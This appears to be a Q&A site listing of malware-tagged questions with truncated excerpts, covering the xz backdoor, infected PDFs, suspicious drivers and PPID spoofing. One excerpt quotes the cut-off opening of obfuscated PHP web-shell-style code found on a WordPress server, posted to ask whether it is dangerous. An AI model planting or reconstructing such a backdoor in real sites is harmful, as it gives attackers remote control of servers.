Questions tagged [malware]
Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.
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Why did the xz-tools attacker put so much effort into hiding the malware when they could manipulate the tarball?
With all the discussion about the xz-tools supply chain attack on the Linux distros, what confuses me:
As stated here or on the infographic here, the attackers worked their way to becoming trusted ...
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Can my VPN hide my IP address so I can test malware? [duplicate]
I heard that VPN could mask your IP address, but is this perfectly secure? I am trying to open up what I suspect to be malware on a VM, and I obviously don’t want it to be sending my real IP address ...
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XZ compromise and consequences for people having used it
Here's a hot topic:
https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users
https://lwn.net/Articles/967180/
https://lwn.net/ml/oss-security/20240329155126.kjjfduxw2yrlxgzm@...
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Malware in a PDF
I opened a PDF yesterday.
How large would a PDF be that has malware? The one I downloaded was approximately 5 MB.
If I opened the PDF on a browser, would the browser be infected?
For some context: I ...
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Does PDF level compression implicitly cleans file of malware?
Recently I've been looking into PDF files security, specifically about malware exploiting vulnerabilities in PDF readers. I thought about one thing - does compressing PDF file (for example, by using ...
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Is my home network infected? [duplicate]
Today, my family brought me a quite old laptop (it had Windows 7 Enterprise from around 2009). When I tried to turn it on, it was already complicated because I got a black screen with options, but the ...
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Can an Azure template contain a virus, a backdoor or malware?
Sometimes you can find projects on the internet that can propose you to import a template to Azure, like this one.
You have a button and if you click it allows you to deploy:
Then you go through the ...
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How dangerous is this suspicious PHP code? [closed]
I found this code on my web server in /wp-content/uploads/2023/index.php:
$hello_dolly[]='b8f878fc41d0fd3c';
$hello_dolly[]=$_POST;
$hello_dolly[]='color';
if (isset($hello_dolly[1][$hello_dolly[0]])) ...
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If you encrypt an entire USB with Veracrypt can malware be put on the USB while encrypted?
Let's say that you take a USB drive and encrypt the entire thing with Veracrypt. Could someone modify that USB drive to include malware on it? This is not assuming that physical changes to the device ...
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How to check whether a printer driver is malicious or not
While downloading a printer driver from the company's website, redirected to a google drive link. Google warning says it could be malicious.
The company is MEPL- based in India, but it is using a ...
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Is it possible to infect a monitor via HDMI plus Ethernet [duplicate]
I caught a virus because of an exe file I downloaded to my computer last week. I am replacing my modem, graphics card, motherboard, processor, ssd and ram components with new ones. What are the ...
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Possible to supply IKEA Tradfri with Malware? (How to detect / remove)
Maybe I'm overly cautious here, but I bought a 2nd hand IKEA Tradfri lightbulb. The package was opened so whoever owned it before had access to the bulb itself.
My question is: Am I too cautious ...
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Streamer Virus on offline network [closed]
I have an offline network with 200 users. and routers, switches, 4 esxi servers and 1 netapp rack.
After about a year, my team found out that we have a virus in the network called streamer.exe that ...
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Is malware less prevalent in the Apple App Store compared to the Google Play Store?
I was searching for reports about malware on the Apple App Store and only found minor ones (at least from a user's perspective) on the first few Google search results.
Doing the same search for the ...
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WinAPI legit usecase for setting PPID
I am studying malware development right now (exclusively WinAPI) and reached the topic of PPID spoofing. I understand the concept and why it is useful, however I do not understand why is it possible ...
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